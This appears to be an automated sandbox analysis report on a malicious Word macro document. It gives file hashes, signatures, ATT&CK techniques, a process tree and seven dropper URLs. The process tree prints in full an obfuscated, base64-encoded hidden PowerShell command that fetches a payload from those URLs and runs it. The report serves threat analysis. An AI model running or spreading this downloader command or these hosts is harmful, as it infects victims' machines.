Analysis

  • max time kernel
    155s
  • max time network
    199s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    03-05-2022 12:11

General

  • Target

    txbeodxf.doc

  • Size

    183KB

  • MD5

    b66d8fe119418a8a69d1276b36eb2fc0

  • SHA1

    4b921043d94136bca5d42ad98a1b7e962a5b9af1

  • SHA256

    768f3c029cc79ae21d7c732487da93f0e8c7d19a83737f9ce7e107e3adc9054c

  • SHA512

    05c0872774d550fb5450c91ddec5ee4dc9c61cad79fa9c2980b1b6e0996d315c147fcb4331a6a841bc730d05a047411f1eeda274c32edd491547e866f6cdac07

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://superiorsurfacings.com/pc-not-qgtje/j8T3S/

exe.dropper

http://tenrougroup.com/j/Hb7Wf/

exe.dropper

http://syokmelaram.com/wp-includes/e1/

exe.dropper

http://advokatemelyanov.ru/administrator/OMHpK/

exe.dropper

http://mumglobal.com/content/DF0/

exe.dropper

http://mvldesign.ca/Durani/2lZs/

exe.dropper

https://eytsoft.com/css/Q2k/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\txbeodxf.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4896
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD UwBlAHQAIAAoACcAVQAnACsAJwAyADYAcwBUACcAKQAgACAAKABbAFQAWQBwAGUAXQAoACIAewAzAH0AewA1AH0AewA0AH0AewAwAH0AewAxAH0AewAyAH0AewA2AH0AIgAtAEYAJwBPAC4AZABpAHIAJwAsACcAZQBjAFQAbwAnACwAJwByACcALAAnAFMAJwAsACcAaQAnACwAJwB5AHMAVABlAE0ALgAnACwAJwB5ACcAKQApACAAOwAgACQAVwBFAHYAYgBoAG8APQBbAHQAeQBQAGUAXQAoACIAewA1AH0AewA3AH0AewAxAH0AewA4AH0AewAwAH0AewA2AH0AewAyAH0AewAzAH0AewA0AH0AIgAgAC0ARgAnAHQALgBTACcALAAnAG0ALgBOACcALAAnAFIAVgAnACwAJwBJAEMARQBQAG8AaQBuAHQAJwAsACcAbQBhAE4AQQBHAEUAUgAnACwAJwBTACcALAAnAEUAJwAsACcAeQBTAFQARQAnACwAJwBlACcAKQAgADsAIAAgACAAcwBlAFQALQBpAHQAZQBNACAAKAAnAHYAQQByACcAKwAnAEkAYQBCAEwARQA6ADMAJwArACcAdwByACcAKQAgACgAWwBUAFkAcABFAF0AKAAiAHsAMwB9AHsANAB9AHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAEYAIAAnAGkAZQAnACwAJwBMACcALAAnAE4AVAAnACwAJwBOAEUAdAAuAHcAJwAsACcAZQBiAGMAJwApACAAIAApADsAIAAkAEsAMgA5AFAAPQAoACcAWgA5ACcAKwAnADgATwAnACkAOwAkAFEAMABvADkAawBzAGcAPQAkAEwANgAzAEsAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE0AMAAyAFYAOwAkAEsAMgBfAFMAPQAoACcAWAAnACsAKAAnADgAOQAnACsAJwBVACcAKQApADsAIAAgACgAbABTACAAKAAnAHYAQQBSAGkAJwArACcAQQBiACcAKwAnAEwARQAnACsAJwA6AFUAMgA2AFMAdAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAYwByAEUAYABBAHQAYABlAGQAaQBgAFIARQBDAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBFAGcAJwArACgAJwB3ACcAKwAnAFIAaAAnACkAKwAnADcAYwAnACsAKAAnAGUAYQAnACsAJwB2AEUAJwArACcAZwB3AEsAYgBlAHMAJwArACcAYwA0AGwARQBnACcAKQArACcAdwAnACkALgAiAFIARQBQAGAAbABBAGMAZQAiACgAKABbAEMAaABhAFIAXQA2ADkAKwBbAEMAaABhAFIAXQAxADAAMwArAFsAQwBoAGEAUgBdADEAMQA5ACkALABbAHMAVAByAEkAbgBnAF0AWwBDAGgAYQBSAF0AOQAyACkAKQApADsAJABXADAAOABJAD0AKAAoACcAQwAnACsAJwA4ADcAJwApACsAJwBNACcAKQA7ACAAJAB3AGUAdgBiAEgATwA6ADoAIgBzAEUAYwBgAFUAYABSAEkAdABgAFkAUAByAE8AYABUAE8AYwBvAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAxACcAKQArACcAMgAnACkAOwAkAEsAMwA2AEsAPQAoACgAJwBEACcAKwAnADEAXwAnACkAKwAnAFIAJwApADsAJABTAGEAZwBjADUANwBrACAAPQAgACgAJwBRACcAKwAoACcAXwAnACsAJwBfAFcAJwApACkAOwAkAEgAMwAyAEUAPQAoACcASQAnACsAKAAnADEAXwAnACsAJwBVACcAKQApADsAJABaAGMAcQByAHgAawBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwACcAKwAnAH0AUgAnACsAKAAnAGgANwAnACsAJwBjACcAKQArACcAZQAnACsAJwBhAHYAewAwAH0AJwArACgAJwBLAGIAJwArACcAZQBzACcAKwAnAGMANABsACcAKQArACcAewAwAH0AJwApACAAIAAtAGYAIABbAGMAaABhAHIAXQA5ADIAKQArACQAUwBhAGcAYwA1ADcAawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFAAOQAwAFcAPQAoACcAVgA0ACcAKwAnADcARAAnACkAOwAkAEkAdQBoAHQAdwBiAGIAPQAoACgAKAAoACcAKQApAGMAJwArACcAKAAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvAHMAJwApACkAKwAoACcAdQBwAGUAJwArACcAcgBpACcAKQArACgAJwBvAHIAcwB1AHIAZgBhAGMAaQBuAGcAJwArACcAcwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAcABjACcAKwAnAC0AJwArACcAbgAnACsAJwBvAHQALQBxACcAKQArACcAZwB0ACcAKwAoACcAagBlAC8AagAnACsAJwA4AFQAJwApACsAKAAoACcAMwBTACcAKwAnAC8AQAApACcAKQApACsAKAAoACcAKQBjACcAKQApACsAKAAoACcAKAAnACsAJwAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvACcAKQApACsAKAAnAHQAJwArACcAZQBuACcAKQArACgAJwByAG8AJwArACcAdQAnACkAKwAoACcAZwByAG8AJwArACcAdQBwAC4AYwBvACcAKwAnAG0AJwApACsAJwAvACcAKwAoACcAagAvAEgAJwArACcAYgAnACkAKwAoACgAJwA3ACcAKwAnAFcAZgAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACgAdwAnACsAJwAoADoAJwApACkAKwAoACcALwAnACsAJwAvAHMAeQAnACkAKwAnAG8AawAnACsAJwBtACcAKwAnAGUAbAAnACsAJwBhACcAKwAoACcAcgAnACsAJwBhAG0ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkAGUAJwArACcAcwAnACkAKwAnAC8AZQAnACsAKAAoACcAMQAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAoACcAKQApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAdgAnACsAJwBvACcAKQArACcAawBhACcAKwAnAHQAJwArACgAJwBlAG0AZQAnACsAJwBsACcAKQArACcAeQBhACcAKwAoACcAbgAnACsAJwBvAHYAJwApACsAJwAuACcAKwAoACcAcgAnACsAJwB1AC8AYQAnACkAKwAnAGQAbQAnACsAJwBpACcAKwAnAG4AJwArACgAJwBpAHMAJwArACcAdAByACcAKQArACgAJwBhACcAKwAnAHQAbwAnACsAJwByAC8ATwBNACcAKQArACgAKAAnAEgAJwArACcAcABLAC8AQAAnACsAJwApACkAJwApACkAKwAnAGMAJwArACgAKAAnACgAKAB3ACgAOgAvAC8AJwArACcAbQAnACsAJwB1ACcAKwAnAG0AZwAnACkAKQArACcAbAAnACsAKAAnAG8AYgBhACcAKwAnAGwAJwArACcALgBjAG8AbQAvACcAKwAnAGMAbwBuACcAKQArACgAJwB0ACcAKwAnAGUAbgB0AC8ARAAnACkAKwAoACgAJwBGADAALwAnACsAJwBAACkAKQAnACkAKQArACcAYwAnACsAKAAoACcAKAAoAHcAKAAnACsAJwA6ACcAKQApACsAKAAnAC8ALwAnACsAJwBtACcAKQArACgAJwB2ACcAKwAnAGwAZABlAHMAJwArACcAaQAnACkAKwAoACcAZwBuAC4AYwAnACsAJwBhACcAKQArACgAJwAvACcAKwAnAEQAdQAnACkAKwAoACcAcgBhAG4AJwArACcAaQAvACcAKQArACgAKAAnADIAbAAnACsAJwBaAHMALwBAACkAKQBjACgAJwArACcAKAAnACkAKQArACgAKAAnAHcAJwArACcAKABzADoAJwApACkAKwAnAC8ALwAnACsAJwBlACcAKwAnAHkAJwArACgAJwB0ACcAKwAnAHMAbwBmAHQALgBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwBjACcAKQArACgAJwBzAHMALwAnACsAJwBRADIAJwApACsAJwBrACcAKwAnAC8AJwApACkALgAiAHIAYABlAFAATABgAEEAQwBlACIAKAAoACgAKAAoACcAKQApACcAKwAnAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAYABQAGwASQB0ACIAKAAkAEcANwA2AEQAIAArACAAJABRADAAbwA5AGsAcwBnACAAKwAgACQAVgA4ADIARQApADsAJABYADAAOQBTAD0AKAAoACcAVwA3ACcAKwAnADUAJwApACsAJwBOACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwA2AHgAZABwAHgAbQAgAGkAbgAgACQASQB1AGgAdAB3AGIAYgApAHsAdAByAHkAewAgACAAJAAzAFcAUgA6ADoAIgBuAGAAZQBXACIAKAApAC4AIgBEAG8AYABXAG4AYABsAG8AYABBAEQAZgBJAEwARQAiACgAJABPADYAeABkAHAAeABtACwAIAAkAFoAYwBxAHIAeABrAGcAKQA7ACQASgA0ADgATwA9ACgAJwBIACcAKwAoACcAMgAnACsAJwAyAEoAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAWgBjAHEAcgB4AGsAZwApAC4AIgBsAGUATgBnAGAAVABIACIAIAAtAGcAZQAgADQANgAwADAAMgApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABaAGMAcQByAHgAawBnACwAJwAjADEAJwAuACIAVABPAHMAdABgAFIAYABJAG4AZwAiACgAKQA7ACQASQAwADAASwA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEQAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAOQA3AFkAPQAoACgAJwBCACcAKwAnADMANwAnACkAKwAnAEwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYADIAOQBSAD0AKAAoACcAWAAnACsAJwBfADIAJwApACsAJwBBACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:3688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD UwBlAHQAIAAoACcAVQAnACsAJwAyADYAcwBUACcAKQAgACAAKABbAFQAWQBwAGUAXQAoACIAewAzAH0AewA1AH0AewA0AH0AewAwAH0AewAxAH0AewAyAH0AewA2AH0AIgAtAEYAJwBPAC4AZABpAHIAJwAsACcAZQBjAFQAbwAnACwAJwByACcALAAnAFMAJwAsACcAaQAnACwAJwB5AHMAVABlAE0ALgAnACwAJwB5ACcAKQApACAAOwAgACQAVwBFAHYAYgBoAG8APQBbAHQAeQBQAGUAXQAoACIAewA1AH0AewA3AH0AewAxAH0AewA4AH0AewAwAH0AewA2AH0AewAyAH0AewAzAH0AewA0AH0AIgAgAC0ARgAnAHQALgBTACcALAAnAG0ALgBOACcALAAnAFIAVgAnACwAJwBJAEMARQBQAG8AaQBuAHQAJwAsACcAbQBhAE4AQQBHAEUAUgAnACwAJwBTACcALAAnAEUAJwAsACcAeQBTAFQARQAnACwAJwBlACcAKQAgADsAIAAgACAAcwBlAFQALQBpAHQAZQBNACAAKAAnAHYAQQByACcAKwAnAEkAYQBCAEwARQA6ADMAJwArACcAdwByACcAKQAgACgAWwBUAFkAcABFAF0AKAAiAHsAMwB9AHsANAB9AHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAEYAIAAnAGkAZQAnACwAJwBMACcALAAnAE4AVAAnACwAJwBOAEUAdAAuAHcAJwAsACcAZQBiAGMAJwApACAAIAApADsAIAAkAEsAMgA5AFAAPQAoACcAWgA5ACcAKwAnADgATwAnACkAOwAkAFEAMABvADkAawBzAGcAPQAkAEwANgAzAEsAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE0AMAAyAFYAOwAkAEsAMgBfAFMAPQAoACcAWAAnACsAKAAnADgAOQAnACsAJwBVACcAKQApADsAIAAgACgAbABTACAAKAAnAHYAQQBSAGkAJwArACcAQQBiACcAKwAnAEwARQAnACsAJwA6AFUAMgA2AFMAdAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAYwByAEUAYABBAHQAYABlAGQAaQBgAFIARQBDAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBFAGcAJwArACgAJwB3ACcAKwAnAFIAaAAnACkAKwAnADcAYwAnACsAKAAnAGUAYQAnACsAJwB2AEUAJwArACcAZwB3AEsAYgBlAHMAJwArACcAYwA0AGwARQBnACcAKQArACcAdwAnACkALgAiAFIARQBQAGAAbABBAGMAZQAiACgAKABbAEMAaABhAFIAXQA2ADkAKwBbAEMAaABhAFIAXQAxADAAMwArAFsAQwBoAGEAUgBdADEAMQA5ACkALABbAHMAVAByAEkAbgBnAF0AWwBDAGgAYQBSAF0AOQAyACkAKQApADsAJABXADAAOABJAD0AKAAoACcAQwAnACsAJwA4ADcAJwApACsAJwBNACcAKQA7ACAAJAB3AGUAdgBiAEgATwA6ADoAIgBzAEUAYwBgAFUAYABSAEkAdABgAFkAUAByAE8AYABUAE8AYwBvAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAxACcAKQArACcAMgAnACkAOwAkAEsAMwA2AEsAPQAoACgAJwBEACcAKwAnADEAXwAnACkAKwAnAFIAJwApADsAJABTAGEAZwBjADUANwBrACAAPQAgACgAJwBRACcAKwAoACcAXwAnACsAJwBfAFcAJwApACkAOwAkAEgAMwAyAEUAPQAoACcASQAnACsAKAAnADEAXwAnACsAJwBVACcAKQApADsAJABaAGMAcQByAHgAawBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwACcAKwAnAH0AUgAnACsAKAAnAGgANwAnACsAJwBjACcAKQArACcAZQAnACsAJwBhAHYAewAwAH0AJwArACgAJwBLAGIAJwArACcAZQBzACcAKwAnAGMANABsACcAKQArACcAewAwAH0AJwApACAAIAAtAGYAIABbAGMAaABhAHIAXQA5ADIAKQArACQAUwBhAGcAYwA1ADcAawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFAAOQAwAFcAPQAoACcAVgA0ACcAKwAnADcARAAnACkAOwAkAEkAdQBoAHQAdwBiAGIAPQAoACgAKAAoACcAKQApAGMAJwArACcAKAAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvAHMAJwApACkAKwAoACcAdQBwAGUAJwArACcAcgBpACcAKQArACgAJwBvAHIAcwB1AHIAZgBhAGMAaQBuAGcAJwArACcAcwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAcABjACcAKwAnAC0AJwArACcAbgAnACsAJwBvAHQALQBxACcAKQArACcAZwB0ACcAKwAoACcAagBlAC8AagAnACsAJwA4AFQAJwApACsAKAAoACcAMwBTACcAKwAnAC8AQAApACcAKQApACsAKAAoACcAKQBjACcAKQApACsAKAAoACcAKAAnACsAJwAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvACcAKQApACsAKAAnAHQAJwArACcAZQBuACcAKQArACgAJwByAG8AJwArACcAdQAnACkAKwAoACcAZwByAG8AJwArACcAdQBwAC4AYwBvACcAKwAnAG0AJwApACsAJwAvACcAKwAoACcAagAvAEgAJwArACcAYgAnACkAKwAoACgAJwA3ACcAKwAnAFcAZgAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACgAdwAnACsAJwAoADoAJwApACkAKwAoACcALwAnACsAJwAvAHMAeQAnACkAKwAnAG8AawAnACsAJwBtACcAKwAnAGUAbAAnACsAJwBhACcAKwAoACcAcgAnACsAJwBhAG0ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkAGUAJwArACcAcwAnACkAKwAnAC8AZQAnACsAKAAoACcAMQAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAoACcAKQApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAdgAnACsAJwBvACcAKQArACcAawBhACcAKwAnAHQAJwArACgAJwBlAG0AZQAnACsAJwBsACcAKQArACcAeQBhACcAKwAoACcAbgAnACsAJwBvAHYAJwApACsAJwAuACcAKwAoACcAcgAnACsAJwB1AC8AYQAnACkAKwAnAGQAbQAnACsAJwBpACcAKwAnAG4AJwArACgAJwBpAHMAJwArACcAdAByACcAKQArACgAJwBhACcAKwAnAHQAbwAnACsAJwByAC8ATwBNACcAKQArACgAKAAnAEgAJwArACcAcABLAC8AQAAnACsAJwApACkAJwApACkAKwAnAGMAJwArACgAKAAnACgAKAB3ACgAOgAvAC8AJwArACcAbQAnACsAJwB1ACcAKwAnAG0AZwAnACkAKQArACcAbAAnACsAKAAnAG8AYgBhACcAKwAnAGwAJwArACcALgBjAG8AbQAvACcAKwAnAGMAbwBuACcAKQArACgAJwB0ACcAKwAnAGUAbgB0AC8ARAAnACkAKwAoACgAJwBGADAALwAnACsAJwBAACkAKQAnACkAKQArACcAYwAnACsAKAAoACcAKAAoAHcAKAAnACsAJwA6ACcAKQApACsAKAAnAC8ALwAnACsAJwBtACcAKQArACgAJwB2ACcAKwAnAGwAZABlAHMAJwArACcAaQAnACkAKwAoACcAZwBuAC4AYwAnACsAJwBhACcAKQArACgAJwAvACcAKwAnAEQAdQAnACkAKwAoACcAcgBhAG4AJwArACcAaQAvACcAKQArACgAKAAnADIAbAAnACsAJwBaAHMALwBAACkAKQBjACgAJwArACcAKAAnACkAKQArACgAKAAnAHcAJwArACcAKABzADoAJwApACkAKwAnAC8ALwAnACsAJwBlACcAKwAnAHkAJwArACgAJwB0ACcAKwAnAHMAbwBmAHQALgBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwBjACcAKQArACgAJwBzAHMALwAnACsAJwBRADIAJwApACsAJwBrACcAKwAnAC8AJwApACkALgAiAHIAYABlAFAATABgAEEAQwBlACIAKAAoACgAKAAoACcAKQApACcAKwAnAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAYABQAGwASQB0ACIAKAAkAEcANwA2AEQAIAArACAAJABRADAAbwA5AGsAcwBnACAAKwAgACQAVgA4ADIARQApADsAJABYADAAOQBTAD0AKAAoACcAVwA3ACcAKwAnADUAJwApACsAJwBOACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwA2AHgAZABwAHgAbQAgAGkAbgAgACQASQB1AGgAdAB3AGIAYgApAHsAdAByAHkAewAgACAAJAAzAFcAUgA6ADoAIgBuAGAAZQBXACIAKAApAC4AIgBEAG8AYABXAG4AYABsAG8AYABBAEQAZgBJAEwARQAiACgAJABPADYAeABkAHAAeABtACwAIAAkAFoAYwBxAHIAeABrAGcAKQA7ACQASgA0ADgATwA9ACgAJwBIACcAKwAoACcAMgAnACsAJwAyAEoAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAWgBjAHEAcgB4AGsAZwApAC4AIgBsAGUATgBnAGAAVABIACIAIAAtAGcAZQAgADQANgAwADAAMgApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABaAGMAcQByAHgAawBnACwAJwAjADEAJwAuACIAVABPAHMAdABgAFIAYABJAG4AZwAiACgAKQA7ACQASQAwADAASwA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEQAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAOQA3AFkAPQAoACgAJwBCACcAKwAnADMANwAnACkAKwAnAEwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYADIAOQBSAD0AKAAoACcAWAAnACsAJwBfADIAJwApACsAJwBBACcAKQA=
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2892
    • C:\Windows\system32\werfault.exe
      werfault.exe /h /shared Global\991323f1f9014cb8a0242444be06b438 /t 4584 /p 4896
      1⤵
        PID:4496

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Discovery

      Query Registry

      2
      T1012

      System Information Discovery

      2
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2892-139-0x0000000000000000-mapping.dmp
      • memory/2892-140-0x000001A2ED740000-0x000001A2ED762000-memory.dmp
        Filesize

        136KB

      • memory/2892-141-0x00007FFB04F20000-0x00007FFB059E1000-memory.dmp
        Filesize

        10.8MB

      • memory/3688-138-0x0000000000000000-mapping.dmp
      • memory/4896-130-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp
        Filesize

        64KB

      • memory/4896-131-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp
        Filesize

        64KB

      • memory/4896-132-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp
        Filesize

        64KB

      • memory/4896-133-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp
        Filesize

        64KB

      • memory/4896-134-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp
        Filesize

        64KB

      • memory/4896-135-0x00007FFAEEB80000-0x00007FFAEEB90000-memory.dmp
        Filesize

        64KB

      • memory/4896-136-0x00007FFAEEB80000-0x00007FFAEEB90000-memory.dmp
        Filesize

        64KB

      • memory/4896-137-0x0000027E734E0000-0x0000027E734E4000-memory.dmp
        Filesize

        16KB